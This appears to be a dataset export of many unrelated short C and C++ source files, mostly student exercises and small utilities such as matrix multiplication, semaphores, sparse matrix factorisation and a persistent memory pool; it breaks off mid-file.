language
large_stringclasses 1
value | text
stringlengths 9
2.95M
|
---|---|
C | /*
* Sample program to test runtime of simple matrix multiply
* with and without OpenMP on gcc-4.3.3-tdm1 (mingw)
*
* (c) 2009, Rajorshi Biswas
*/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <assert.h>
#include <omp.h>
int main(int argc, char **argv)
{
int i,j,k;
int n;
double temp;
double start, end, run;
n = 100;
int **arr1 = malloc( sizeof(int*) * n);
int **arr2 = malloc( sizeof(int*) * n);
int **arr3 = malloc( sizeof(int*) * n);
for(i=0; i<n; ++i) {
arr1[i] = malloc( sizeof(int) * n );
arr2[i] = malloc( sizeof(int) * n );
arr3[i] = malloc( sizeof(int) * n );
}
printf("Populating array with random values...\n");
srand( time(NULL) );
for(i=0; i<n; ++i) {
for(j=0; j<n; ++j) {
arr1[i][j] = (rand() % n);
arr2[i][j] = (rand() % n);
}
}
printf("Completed array init.\n");
printf("Crunching without OMP...");
fflush(stdout);
start = omp_get_wtime();
for(i=0; i<n; ++i) {
for(j=0; j<n; ++j) {
temp = 0;
for(k=0; k<n; ++k) {
temp += arr1[i][k] * arr2[k][j];
}
arr3[i][j] = temp;
}
}
end = omp_get_wtime();
printf(" took %f seconds.\n", end-start);
printf("Crunching with OMP...");
fflush(stdout);
start = omp_get_wtime();
#pragma omp parallel for private(i, j, k, temp) num_threads(4)
for(i=0; i<n; ++i) {
for(j=0; j<n; ++j) {
temp = 0;
for(k=0; k<n; ++k) {
temp += arr1[i][k] * arr2[k][j];
}
arr3[i][j] = temp;
}
}
end = omp_get_wtime();
printf(" took %f seconds.\n", end-start);
return 0;
}
|
C | #include<stdio.h>
#define strcase(a,b) strncmp(a,b,sizeof(a)-1)
int main(int argc, const char *argv[])
{
char *path="start_build:xxxxx";
char str2[] = "start_build:123;abcdefghidk";
printf("size:%d\n",(int)sizeof("start_build:"));
//if(strncmp("start_build:",path,sizeof("start_build:")-1) == 0){
if(strcase("start_build:",path) == 0){
puts("ok");
}else{
puts("no");
}
//int fd=0;
//fd = atoi(str2+12);
//printf("fd:%d\n",fd);
char * tmpbuff = str2 + 12;
while (*tmpbuff != ';' && *tmpbuff != '\0' ){
putchar(*tmpbuff);
tmpbuff++;
}
puts("\n----------");
puts(++tmpbuff);
return 0;
}
|
C | #include <assert.h>
#include <stdlib.h>
static int adder(const int *a, const int *b)
{
return (*a + *b);
}
int main()
{
int x = 1024;
int (*local_adder)(const int *, const int *) = adder;
while(x > 0)
__CPROVER_loop_invariant(1 == 1)
{
x += local_adder(&x, &x); // loop detection fails
//x += adder(&x, &x); // works fine
}
}
|
C | /*Write a program to add two numbers.*/
#include <stdio.h>
void main()
{
int a, b;
printf("Enter two numbers: ");
scanf("%d", &a);
scanf("%d", &b);
printf("Sum of %d and %d is: %d", a, b, (a + b));
} |
C | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#define SEMKEY 24602
#define SHMKEY 24601
#define SEGSIZE 100
union semun {
int val; /* Value for SETVAL */
struct semid_ds *buf; /* Buffer for IPC_STAT, IPC_SET */
unsigned short *array; /* Array for GETALL, SETALL */
struct seminfo *__buf; /* Buffer for IPC_INFO */
};
int main (int argc, char *argv[]) {
//shared memory
int shmd;
//semaphore
int semd;
int v, r;
//file
int file;
if (argc == 1) {
printf("missing flag\n");
return 0;
}
else {
if (strcmp(argv[1],"-c") == 0) {
//create semaphore
semd = semget(SEMKEY, 1, IPC_CREAT | IPC_EXCL | 0644);
if (semd == -1) {
printf("error %d: %s\n", errno, strerror(errno));
semd = semget(SEMKEY, 1, 0);
v = semctl(semd, 0, GETVAL, 0);
printf("semctl returned: %d\n", v);
}
else {
union semun us;
us.val = 1;
r = semctl(semd, 0, SETVAL, us);
printf("semctl returned: %d\n", r);
}
//create shared memory
shmd = shmget(SHMKEY, SEGSIZE, IPC_CREAT | 0644);
//create file
file = open("story", O_CREAT | O_EXCL | O_TRUNC | O_RDWR, 0644);
}
else if (strcmp(argv[1],"-v") == 0) {
//display story
file = open("story", O_RDONLY);
char line [SEGSIZE];
printf("The story so far:\n");
while (read(file, line, SEGSIZE) > 0) {
printf("%s\n",line);
}
close(file);
}
else if (strcmp(argv[1],"-r") == 0) {
semd = semget(SEMKEY, 1, 0);
struct sembuf sb;
sb.sem_num = 0;
//sb.sem_flg = SEM_UNDO;
sb.sem_op = -1;
printf("trying to get in\n");
semop(semd, &sb, 1);
//display story
file = open("story", O_RDONLY);
char line [SEGSIZE];
printf("The story so far:\n");
while (read(file, line, SEGSIZE) > 0) {
printf("%s\n",line);
}
close(file);
sb.sem_op = 1;
semop(semd, &sb, 1);
//remove semaphore
semctl(semd, IPC_RMID, 0);
printf("\nsemaphore removed\n");
//remove shared memory
shmctl(shmd, IPC_RMID, 0);
printf("shared memory removed\n");
//remove file
remove("story");
printf("file removed\n");
}
else {
printf("invalid flag\n");
return 0;
}
}
return 0;
} |
C | #include<bits/stdc++.h>
#include <iostream>
#include <vector>
using namespace std;
bool sortcol( const vector<int>& v1,const vector<int>& v2 )
{
return v1[1] < v2[1];
}
int main()
{
vector<vector<int>> process
{
{1,1,2},
{2,0,2},
{3,6,4},
{4,5,3}
};
sort(process.begin(), process.end(),sortcol);
//unordered_map<int,int> time_time;
//cout<<"hi";
//vector<vector<int>> time_time;
int time_time[4][2];
int tat[process.size()];
int wt[process.size()];
for(int i=0;i<process.size();i++)
{
if(i == 0)
{
time_time[i][0] = process[i][1];
time_time[i][1] = process[i][1]+process[i][2];
//cout<<"hi";
}
//time_time[process[i][1]] = process[i][1]+process[i][2];
else
{
if(process[i][1] <= time_time[i-1][1])
{
time_time[i][0] = time_time[i-1][1];
time_time[i][1] = time_time[i][0]+process[i][2];
//cout<<"hi";
}
else
{
time_time[i][0] = process[i][1];
time_time[i][1] = process[i][1]+process[i][2];
}
//cout<<"hi";
//time_time[process[i-1][1]] = process[i][1]+process[i][2];
//time_time[process[i][1]] = process[i][1]+process[i][2];
}
}
for(int i = 0;i<process.size();i++)
{
for(int j=0;j<2;j++)
cout<<time_time[i][j]<<" ";
cout<<endl;
}
int sum=0;
for(int i=0;i<process.size();i++)
{
tat[i] = time_time[i][1] - process[i][1];
sum+=tat[i];
}
cout<<"Average Turnaorund Time: "<<(float)sum/process.size()<<endl;
sum=0;
for(int i=0;i<process.size();i++)
{
wt[i] = tat[i] - process[i][2];
sum+=wt[i];
}
cout<<"Average TWaiting Time: "<<(float)sum/process.size()<<endl;
return 0;
} |
C | #ifndef LEXTREE_SPELLCHECK_H
#define LEXTREE_SPELLCHECK_H
#include <stdbool.h>
#include "lextree.h"
/* This spellcheck uses a relative beam pruning. This constant defines the
* pruning threshold used.
*/
#define LEXTREE_CLOSEST_PRUNING_THRESHOLD 3
#define LT_STRING_LENGTH 4096
#define MININT (1<<31)
#define MAXINT (~MININT)
/* Helper node for the lextree_closest code. Contains evalutation state in
* addition to the topology of the lextree
*/
typedef struct lextree_spellcheck_node lextree_spellcheck_node;
struct lextree_spellcheck_node {
char c;
bool is_full_word;
lextree_spellcheck_node* children[26];
lextree_spellcheck_node* parent;
int col;
int word_length;
char word[1024];
int edit_distance;
int last_word_length;
char last_word[1024];
int last_edit_distance;
};
/* lextree_closest - given a lextree and a test string, finds the lowest edit
* match to the string in the lextree. If segment is true, then we are
* allowed to insert spaces and break the input into multiple words.
*/
char* lextree_closest(lextree* lex, char* string, bool segment);
/* get_lextree_eval_struct - helper for lextree closest. Copies the given
* lextree into a lextree_spellcheck structure for evaluation.
*/
lextree_spellcheck_node* get_lextree_eval_struct(lextree_node* l,
lextree_spellcheck_node* parent);
/* score_lextree_spellcheck_column - given a lextree_spellcheck struct, the test
* string, the head of the lextree and whether we allow segmenting into
* multiple words, scores one column in the "trellis" of our lextree
*/
void score_lextree_spellcheck_column(lextree_spellcheck_node* n, char* string,
lextree_spellcheck_node* head, bool segment);
/* prep_lextree_spellcheck_column - swaps the last state and the next state so
* we can score the next column
*/
void prep_lextree_spellcheck_column(lextree_spellcheck_node* n);
/* lextree_best_backpointer - given the evaluation structure, returns the lowest
* edit distance result in the tree.
*/
lextree_spellcheck_node* lextree_best_backpointer(lextree_spellcheck_node* n);
#endif
|
C | /*-----------------------------------zollen.c-----------------------------------
Este arquivo contem rotinas de Zollenkopf para fazer ordenacao, reducao da
matriz para a forma LDU e resolver o sistema na forma fatorada, LDUx = b
Faz a ordenacao de como a matriz deve ser fatorada para minimizar o
aparecimento de "fill-ins"
Contem as seguintes rotinas:
1) orden()- Ordenacao das colunas de B' e B'' (ou barras)
2) redu() - Obtencao dos fatores triangulares L, D, U de uma matriz
3) solu() - Obtencao da solucao do sistema LDUx = b
------------------------------------------------------------------------------*/
/*------------------------------------------------------
Bibliotecas e arquivos do tipo include do compilador
------------------------------------------------------*/
#ifdef WIN_32
#include <windows.h>
#endif
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <math.h>
/*---------------------------------------
Arquivo do tipo include do aplicativo
----------------------------------------*/
#include "global.h"
/*-----------------------------------Inicio da funcao orden-------------------*/
void orden(void){
int j,k,min,m,kp,lk,li,la,l,ip,ln,i;
j=0;
/* ordenar por colunas ate a de indice (nb-2), enquanto nao encheu o vetor*/
while(j <= nb-2)
{
k=nseq[j];
min=noze[k];
m=j;
/* determinar coluna com menos nao nulos */
for (i=j+1; i<nb; i++)
{
k=nseq[i];
if(noze[k] < min)
{
min=noze[k];
m=i;
} /* fim do if(noze[k] < min) */
} /* fim do for i=j+1 ate nb-1 */
/* organizar o vetor de sequencias, se preciso */
if (m != j)
{
kp=nseq[m];
nseq[m]=nseq[j];
nseq[j]=kp;
}
else
kp=nseq[m];
/* lk-> indice, no vetor de enderecos "lcolptr", do 1. elem. nao nulo da
coluna kp */
lk=lcol[kp];
/* simular a eliminacao enqto. lk>0 e nao encher "lcolptr" */
while (lk >= 0)
{
k=itag[lk];
if(k != kp)
{
la=-1;
li=lcol[kp];
l=lcol[k];
i=itag[l];
while (li >= 0)
{
ip=itag[li];
if(ip == i)
{
if(i == kp)
{
ln=lnxt[l];
if (la < 0)
lcol[k]=ln;
else
lnxt[la]=ln;
lnxt[l]=lf;
lf=l;
noze[k]=noze[k]-1;
l=ln;
} /* fim do if (i=kp) */
/* ip=i e i<>kp => buscar proximo elemento da coluna k */
else
{
la=l;
l=lnxt[l];
} /* fim do else */
/* atualizar li */
li=lnxt[li];
if (l >= 0)
i=itag[l];
else
i=nb;
} /* fim do if(ip=i) */
else
if (i < ip)
{
/* se i<ip => buscar proximo da coluna k */
la=l;
l=lnxt[l];
if (l >= 0)
i=itag[l];
else
i=nb;
} /* fim de i < ip */
else
/* se i>ip => aparece um fill-in
verificar se existe lugar p/ inserir */
if (lf >= 0)
{
ln=lf;
if (la >= 0)
lnxt[la]=ln; /* insere apos um existente */
else
lcol[k]=ln; /* insere no inicio da lista */
lf=lnxt[ln];
lnxt[ln]=l;
itag[ln]=ip;
noze[k]=noze[k]+1;
la=ln;
li=lnxt[li];
} /* fim do if(lf>0) */
else
{
/* aqui o vetor nao tem mais espaco */
printf("\n Area reservada insuficiente ... /n");
exit(1);
} /* fim do else vetor cheio */
} /* fim do while li >0 */
} /* fim do if (k = kp) */
/* aqui ou acabou a coluna pivot ou k=kp */
if (li < 0 || k == kp)
lk=lnxt[lk];
} /* fim do while lk>0 */
j++;
} /* fim do while (j<nb-1)*/
return;
}
/*----------------------------------- Fim de orden() -------------------------*/
/*-----------------------------------Inicio de redu() ------------------------*/
void redu(double ce[])
{
int j,kp,lk,lp,li,l,ip,k,i;
double d,cf;
char atualiza;
j=0;
while (j < nb)
{
kp=nseq[j];
lk=lcol[kp];
lp=lf;
while (lp >= 0 && lk >= 0)
{
k=itag[lk];
if(k == kp)
{
d=1.e0/ce[lk];
ce[lk]=d;
}
else
ce[lp]=ce[lk];
lk=lnxt[lk];
if(lk >= 0)
lp=lnxt[lp];
}
if(lk < 0)
{
lk=lcol[kp];
while(lk >=0)
{
k=itag[lk];
if(k != kp)
{
cf=d*ce[lk];
ce[lk]=-cf;
lp=lf;
li=lcol[kp];
l=lcol[k];
atualiza='3';
while(li >=0 && l>=0)
{
/* atualizacao de "i" ou de "ip", dependendo do valor em "atualiza" */
switch (atualiza)
{
case '1':
i=itag[l];
break;
case '2':
ip=itag[li];
break;
case '3':
i=itag[l];
ip=itag[li];
break;
}
if(i < ip)
{
l=lnxt[l];
atualiza='1';
}
else
{
if(i == ip)
{
ce[l]=ce[l]-cf*ce[lp];
l=lnxt[l];
atualiza='3';
} /* fim de i==ip */
else
atualiza='2';
li=lnxt[li];
lp=lnxt[lp];
} /* fim de i>=ip */
} /* fim do while li>0 e l>0 */
} /* fim do if k<>kp */
lk=lnxt[lk];
} /* fim do while lk > 0 */
j++;
} /* fim do if lk <= 0 */
else
{
printf("\n Area reservada insuficiente ... \n");
exit(1);
}
} /* fim do while j<nb */
return;
}
/*-----------------------------------------Fim de redu() ---------------------*/
/*----------------------------Inicio de solu()--------------------------------*/
void solu(double xce[],double b[]){
int j,k,l,i;
double cf,sum;
/* substituicao forward */
for (j=0; j<nb; j++){
k=nseq[j];
cf=b[k];
b[k]=0.e0;
l=lcol[k];
while(l >= 0) {
i=itag[l];
b[i]=b[i]+xce[l]*cf;
l=lnxt[l];
}
}
/* substituicao backward */
for (j=nb-2; j>=0;j--){
k=nseq[j];
sum=b[k];
l=lcol[k];
while(l>=0){
i=itag[l];
if(i != k)
sum=sum + xce[l]*b[i];
l=lnxt[l];
}
b[k]=sum;
}
return;
}
/*-------------- Fim da funcao solu---------------*/
//Data de atualizacao: 25/11/2006
|
C | #include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "arma.h"
typedef struct
{
char* nombre;
struct ar15* arma;
} jugador;
jugador* jugadorNuevo(){
return malloc(sizeof(jugador*));
}
void createJ(jugador* j, const char* nombre){
j->nombre = malloc((strlen(nombre)+1)*sizeof(char));
strcpy(j->nombre,nombre);
j->arma = NULL;
}
void destroyJ(jugador* j){
free(j->nombre);
printf("Jugador muerto\n");
}
void pikUpA(jugador* j, struct ar15* g){
j->arma = g;
printf("Arma recogida\n");
}
void shootOneJ(jugador* j){
if (j->arma)
{
shootOne(j->arma);
}
else{
printf("No tiene arma\n");
exit(1);
}
}
void shootSemiJ(jugador* j){
if (j->arma)
{
shootSemi(j->arma);
}
else{
printf("No tiene arma\n");
exit(1);
}
}
void shootAutoJ(jugador* j){
if (j->arma)
{
shootAuto(j->arma);
}
else{
printf("No tiene arma\n");
exit(1);
}
}
void dropA(jugador* j){
j->arma = NULL;
printf("Arma tirada\n");
} |
C | #include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include "a4.h"
#include <time.h>
#include <assert.h>
/*This comnpare function is fount through the website address
https://www.tutorialspoint.com/c_standard_library/c_function_qsort.htm*/
int cmpfunc (const void * a, const void * b) {
return ( *(int*)a - *(int*)b );
}
PPM_IMAGE *evolve_image(const PPM_IMAGE *image, int num_generations , int population_size , double rate){
Individual *new_population = generate_population(population_size, image->width, image->height, image->max_color);
comp_fitness_population(image->data, new_population, population_size);
qsort(new_population, population_size, sizeof(Individual), cmpfunc);
int i = 1;
while (i < num_generations){
crossover(new_population, population_size);
mutate_population(new_population, population_size - 1, rate);
comp_fitness_population(image->data, new_population, population_size);
qsort(new_population, population_size, sizeof(Individual), cmpfunc);
i++;
}
PPM_IMAGE *image2 = (PPM_IMAGE*)malloc(sizeof(PPM_IMAGE));
image2->data = new_population[0].image.data;
image2->width = new_population[0].image.width;
image2->height = new_population[0].image.height;
image2->max_color = new_population[0].image.max_color;
i = population_size - 1;
while (i >= 1){
free_image(&((new_population+i)->image));
i--;
}
free (new_population);
return image2;
}
void free_image(PPM_IMAGE *p){
free(p->data);
}
|
C | //Non-Volatile Memory Library Function Definitions Version 4
//As described in the paper "Hardware Supported Persistent Object Address Translation" by Dr. James Tuck (NCSU)
//Written by Avery Acierno (Undergraduate Research)
//Version 4 Improvements from Version 3:
//1. Pools and files operate seperately not in pairs: save file data into pool, manipulate, then save back
//2. Functions getoid, pfilein, pfileout added
//CURRENT PROBLEMS
//1. OID and OID Linked List not seperate structs
//2. pool_open uses pointer to pool rather than name
//3. Getting File data into OIDs? - ONLY CHARS RIGHT NOW -> ONLY WORKS WITH TEXT FILES
//4. pool_root does not incorporate size
//5. OIDs do not have different address values between pools
//6. Freeing an OID leads to a skipped offest number - FIXED
//7. Still writes to actual C file when pool out of OIDs - FIXED
//8. Frees pools instead of "closing" them
//9. Only 1 pool can be in use at a tme (Else -> Segmentation Fault) - FIXED
//10. No mode parameters in pool_create
//11. Name parameter in pool_create is just a variable name - IMPLEMENT LL OF POOLS REFERENCED BY NAME
//12. No pool_open function
//13. No persist function
//14. fclose in pfilein leads to seg fault - FIXED
//15. Can't free multiple OIDs in succession - FIXED
//16. pool_root, pmalloc, pfree, getoid use OID* instead of OID
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
//STRUCT DEFINITIONS
//For a linked list of OIDs
typedef struct oid
{
char data; //place to store char data
int offset; //offset from root OID of pool
int empty; //1 if char data has been written to, 0 else
struct oid * next;
struct pool * pool;
} OID;
//For a pool
typedef struct pool
{
OID * root; //Linked list of OIDs starting at root OID
int size; //# of objects in pool
const char* name; //name of pool
} pool;
//POOL MANAGEMENT
//Create a pool with specified size (in # of objects) and a name.
pool* pool_create(const char* name, int size)
{
pool* p = malloc(sizeof(pool)); //creates pool pointer
p->size = size; //sets pool size (# of objects);
p->name = name; //sets pool name
p->root = malloc(sizeof(OID)); //allocate root OID for the pool
p->root->offset = 0;
p->root->empty = 1;
p->root->next = NULL;
p->root->pool = p;
OID * tmp = p->root;
int i;
for (i = 1; i < size; i++) //allocates # of OIDs specified by size
{
tmp->next = malloc(sizeof(OID));
tmp->next->offset = i;
tmp->next->empty = 1;
tmp->next->next = NULL;
tmp->next->pool = p;
tmp = tmp->next;
}
return p;
}
//Reopen a pool that is previously created by the same program.
//Permissions will be checked.
/*pool* pool_open(pool* p)
{
fopen(p->file_name, "r+");
return p;
}*/
//Close a pool
void pool_close(pool* p)
{
OID * tmp;
int i;
for(i = 0; i < p->size - 1; i++) //loops through all OIDs in pool and frees them
{
tmp = p->root;
p->root = p->root->next;
free(tmp);
}
free(p);
}
//Return the root object of the pool p with specified size.
//The root object is intended for programmers to design as a directory of the pool.
OID* pool_root(pool* p) //, int size)
{
return p->root;
}
//OBJECT MANAGEMENT
//Allocate a chunk of persistent data of size on pool p and return the ObjectID of the first byte.
OID* pmalloc(pool * p, int size)
{
OID * newdata_root = p->root;
int i;
for (i = 1; i < p->size; i++) //cycles to last OID of pool
{
newdata_root = newdata_root->next;
}
OID * tmp = newdata_root;
int j;
for (j = p->size; j < (p->size + size); j++) //allocates # of OIDs specified by size
{
tmp->next = malloc(sizeof(OID));
tmp->next->offset = j;
tmp->next->empty = 1;
tmp->next->next = NULL;
tmp->next->pool = p;
tmp = tmp->next;
}
p->size = p->size + size; //increases size of the pool to accomadate new OIDs
return newdata_root->next;
}
//Free persistent data pointed by the OID
void pfree(OID* oid)
{
if (oid != NULL)
{
oid->pool->size = oid->pool->size - 1; //decrements size of the pool
OID * tmp = oid->pool->root;
int i;
for (i = 0; i < oid->offset - 1; i++) //cycles to OID of pool before OID to be deleted
{
tmp = tmp->next;
}
free(oid);
tmp->next = tmp->next->next; //skips the pool about to be freed in LL
for (; i < tmp->pool->size - 1; i++)
{
tmp->next->offset = tmp->next->offset - 1;
tmp = tmp->next;
}
}
else
{
printf("ERROR: oid passed to pfree is NULL!\n");
}
}
//OID ACCESS
//returns an oid at a cerain offset value
OID* getoid(pool* p, int offset)
{
if (offset >= p->size)
{
printf("ERROR: offset too large for pool size!\n");
return NULL;
}
else
{
OID * tmp = p->root;
while (tmp->offset != offset)
{
tmp = tmp->next;
}
return tmp;
}
}
//READING AND WRITING:
//Write to a pool
void pwritef(pool* p, const char* string)
{
OID * tmp = p->root;
while (tmp->empty != 1) //cycles to first OID of the pool with no data
{
if (tmp->next == NULL)
{
break;
}
else
{
tmp = tmp->next;
}
}
if (tmp->offset >= p->size - 1)
{
printf("ERROR: Pool already full!\n");
}
else
{
int i;
int sl = strlen(string);
for (i = 0; i < sl; i++)
{
tmp->data = string[i]; //writes char to OIDs
tmp->empty = 0;
if (tmp->offset >= p->size - 1)
{
printf("ERROR: Not enough space in pool. Stopped writng to pool at string index %d\n", i);
break;
}
else
{
tmp = tmp->next;
}
}
}
}
//Read a pool
void preadf(pool* p)
{
OID * tmp = p->root;
int i = 0;
char c = tmp->data;
while (tmp->empty != 1)
{
printf("%c", c);
i++;
if (i < p->size)
{
tmp = tmp->next;
c = tmp->data;
}
else
{
break;
}
}
printf("\n");
}
//FILE COMMUNICATION
//Read contents of a file into a pool
void pfilein(pool* p, char* filename)
{
OID * tmp = p->root;
while (tmp->empty != 1) //cycles to first OID of the pool with no data
{
if (tmp->next == NULL)
{
break;
}
else
{
tmp = tmp->next;
}
}
if (tmp->offset >= p->size)
{
printf("ERROR: Pool already full!\n");
}
else
{
FILE* file_ptr = fopen(filename, "r");
char c;
c = fgetc(file_ptr);
int i = 0;
while (c != EOF)
{
tmp->data = c;
tmp->empty = 0;
if (tmp->next == NULL)
{
printf("ERROR: Not enough space in pool. Stopped writng to pool at file index %d\n", i);
break;
}
else
{
tmp = tmp->next;
c = fgetc(file_ptr);
i++;
}
}
fclose(file_ptr);
}
}
//Print contents of a pool out to a file
void pfileout(pool* p, const char* filename)
{
FILE* file_ptr = fopen(filename, "w");
OID * tmp = p->root;
while (tmp->empty != 1)
{
fprintf(file_ptr, "%c", tmp->data);
if (tmp->next == NULL)
{
break;
}
else
{
tmp = tmp->next;
}
}
fclose(file_ptr);
}
|
C | /*
** EPITECH PROJECT, 2020
** check_file.c
** File description:
** check_file
*/
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
void my_putstr(char *str);
int my_getnbr(char const *str);
int check_boat_size(char *file)
{
int boat_size = 2;
int i = 0;
if ((file[0] - '0') != boat_size) {
my_putstr("You're file is invalid.\n");
return 0;
}
while (1) {
for (; file[i] != '\n' && file[i] != '\0'; i++);
i++;
boat_size += 1;
if (file[i - 1] == '\0')
return 1;
if ((file[i] - '0') != boat_size) {
my_putstr("You're file is invalid.\n");
return 0;
}
}
}
int check_file(char *file_path)
{
int fd = open(file_path, O_RDONLY);
char *file = malloc(sizeof(char) * 31);
if (fd < 0) {
my_putstr("This file doesn't exist.\n");
free(file);
close(fd);
return 0;
} else {
read(fd, file, 31);
if (!check_boat_size(file)) {
free(file);
close(fd);
return 0;
}
} return 1;
} |
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* fdf.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: lmarques <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2016/11/22 16:46:42 by lmarques #+# #+# */
/* Updated: 2016/11/30 15:58:06 by lmarques ### ########.fr */
/* */
/* ************************************************************************** */
#include "fdf.h"
void ft_trace(t_wrapper wrapper, t_point src, t_point dst)
{
t_point tab[2];
int err;
int e2;
tab[0].x = abs(dst.x - src.x);
tab[0].y = abs(dst.y - src.y);
tab[1].x = src.x < dst.x ? 1 : -1;
tab[1].y = src.y < dst.y ? 1 : -1;
err = (tab[0].x > tab[0].y ? tab[0].x : -tab[0].y) / 2;
while (1)
{
mlx_pixel_put(wrapper.mlx.ptr, wrapper.mlx.win, src.x, src.y,
src.offset * 15 + 0x007777);
if (src.x == dst.x && src.y == dst.y)
break ;
e2 = err;
if (e2 > -tab[0].x)
err -= tab[0].y;
if (e2 > -tab[0].x)
src.x += tab[1].x;
if (e2 < tab[0].y)
err += tab[0].x;
if (e2 < tab[0].y)
src.y += tab[1].y;
}
}
t_point *ft_copy_tab(t_point *tab, int len)
{
int count;
t_point *tab_new;
count = 0;
if (!(tab_new = (t_point *)malloc(sizeof(t_point) * len)))
return (NULL);
while (count < len)
{
tab_new[count] = tab[count];
count++;
}
return (tab_new);
}
t_point *ft_iso(t_wrapper wrapper)
{
int count_index;
int tmp;
t_point *tab;
count_index = 0;
if (!(tab = (t_point *)malloc(sizeof(t_point) * wrapper.len)))
tab = NULL;
tab = ft_copy_tab(wrapper.tab, wrapper.len);
while (count_index < wrapper.len)
{
tmp = tab[count_index].x;
tab[count_index].x = ((tmp * wrapper.tile_size / 2 -
tab[count_index].y * wrapper.tile_size / 2) + 150 +
wrapper.mlx.offset_x) * wrapper.mlx.zoom;
tab[count_index].y = ((tmp * wrapper.tile_size / 2 +
tab[count_index].y * wrapper.tile_size / 2) + 150 -
(tab[count_index].offset * 5) + wrapper.mlx.offset_y) *
wrapper.mlx.zoom;
count_index++;
}
return (tab);
}
void ft_display_tab(t_wrapper wrapper)
{
int count;
t_point *tab;
count = 0;
tab = ft_iso(wrapper);
while (count + 1 < wrapper.len)
{
if (!(count % wrapper.line_size == wrapper.line_size - 1) || count == 0)
ft_trace(wrapper, tab[count], tab[count + 1]);
count++;
}
count = 0;
while (count + wrapper.line_size < wrapper.len)
{
ft_trace(wrapper, tab[count], tab[count + wrapper.line_size]);
count++;
}
}
int main(int argc, char *argv[])
{
int err;
t_wrapper wrapper;
err = 0;
if (argc != 2)
{
ft_putendl("error");
return (-1);
}
ft_init_struct(&wrapper, 10, argv[1], &err);
if (err == -1)
{
ft_putendl("error");
return (-1);
}
ft_display_tab(wrapper);
mlx_key_hook(wrapper.mlx.win, &ft_offset, &wrapper);
mlx_loop(wrapper.mlx.ptr);
return (0);
}
|
C | #include <stdlib.h>
#include <stdio.h>
#include "perfectnumber.h"
#include <stdio.h>
int main() {
int input,result=1;
printf("dame el numero que quieras provar que sea perfecto:\n");
scanf("%d",&input);
result=isPerfecNumber(input);
return 0;
}
|
C | #include <stdio.h>
int main()
{
int N;
scanf("%d", &N);
for (int _i = 0; _i < N; _i++)
{
char c = 0, p;
int r, cnt = 0;
while (c < '0' || c > '9') c = getchar();
while (c >= '0' && c <= '9')
{
p = c;
cnt++;
c = getchar();
}
p = p - '0';
r = (p & 1) || ((cnt == 1) && (p == 2));
if (r)
{
printf("T\n");
}
else
{
printf("F\n");
}
}
}
|
C | #include<stdio.h>
#include<string.h>
int main()
{
long long int T,k,i;
scanf("%lld", &T);
getchar();
for(i=1; i<=T; i++)
{
scanf("%[^\n]", s);
getchar();
scanf("%[^\n]", t);
getchar();
k = strcmp(t,s);
//k= abs(k)-1;
printf("Case %lld: %lld\n", i,k);
}
return 0;
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include "tree.h"
struct tree{
int data;
struct tree *left;
struct tree *right;
struct tree *parent;
};
/*
* Function: createTree
*
* Description: allocates memory for a new binary tree with specific data, left subtree and right
* subtree
* Runtime: O(1)
*/
struct tree *createTree(int data, struct tree *left, struct tree *right) {
struct tree *newTree = malloc(sizeof(struct tree));
assert(newTree != NULL);
/*
* if the left or right tree is not NULL, check to see if they already have a parent node,
* if they already have a parent node, set their parent's left/right pointer(s) to NULL
* then assign the data to newTree->data, and point newTree to the left and right trees
* and point left and right trees back to newTree
*/
if (left != NULL) {
if(getParent(left) != NULL) {
setLeft(getParent(left), NULL);
left->parent = newTree;
}
}//end if left
if (right != NULL) {
if(getParent(right) != NULL) {
setRight(getParent(right), NULL);
right->parent = newTree;
}
}
newTree->data = data;
newTree->parent = NULL;
setLeft(newTree, left);
setRight(newTree, right);
return newTree;
}//end createTree
/*
* Function: destroyTree
*
* Description: de-allocates memory of a binary tree using postorder traversal
* Runtime: O(nlogn)
*/
void destroyTree(struct tree *root) {
/*Postorder. Delete free left tree, free right tree, free the root*/
if(root == NULL)
return;
destroyTree(root->left);
destroyTree(root->right);
free(root);
}//end destroyTree
/*
* Function: getData
*
* Description: returns the data of a given node
* Runtime: O(1)
*/
int getData(struct tree *root) {
assert(root!=NULL);
return root->data;
}//end getData
/*
* Function: getLeft
*
* Description: returns a pointer to the left subtree of a given root
* Runtime: O(1)
*/
struct tree *getLeft(struct tree *root) {
assert(root != NULL);
return root->left;
}
/*
* Function: getData
*
* Description: returns a pointer to the right subtree of a given root
* Runtime: O(1)
*/
struct tree *getRight(struct tree *root) {
assert(root != NULL);
return root->right;
}
/*
* Function: getData
*
* Description: returns a pointer to the parent node of a given root
* Runtime: O(1)
*/
struct tree *getParent(struct tree *root) {
assert(root != NULL);
return root->parent;
}
/*
* Function: setLeft
*
* Description: sets the left tree of the root to left, and if left is not NULL, then set the left's parent pointer to root
* Runtime: O(1)
*/
void setLeft(struct tree *root, struct tree *left) {
assert(root != NULL);
root->left = left;
//if the left node is not NULL, the assign the left's parent pointer to root
if (left != NULL)
left->parent = root;
}
/*
* Function: setRight
*
* Description: sets the right tree of the root to right, and it right is not NULL, then set the right's parent pointer to root
* Runtime: O(1)
*/
void setRight (struct tree *root, struct tree *right) {
assert(root != NULL);
//set the right subtree of root = to right; if right isnt NULL, then set right's parent to root
root->right = right;
if (right != NULL)
right->parent = root;
}
|
C | /*
** EPITECH PROJECT, 2020
** PSU_42sh_2019
** File description:
** function
*/
#include "shell.h"
int check_access_right_file(const char *bin_path)
{
int ret;
if (!bin_path) {
return EXIT_ERROR;
}
ret = access(bin_path, F_OK | X_OK);
if (ret == 0) {
return EXIT_SUCCESS;
} else {
if (errno == EACCES) {
return EXIT_FAIL;
}
return EXIT_ERROR;
}
}
|
C | #ifndef MPU_6050
#define MPU_6050
#include <stdint.h>
/**
* @details initialize the mpu6050 unit to begin reading values
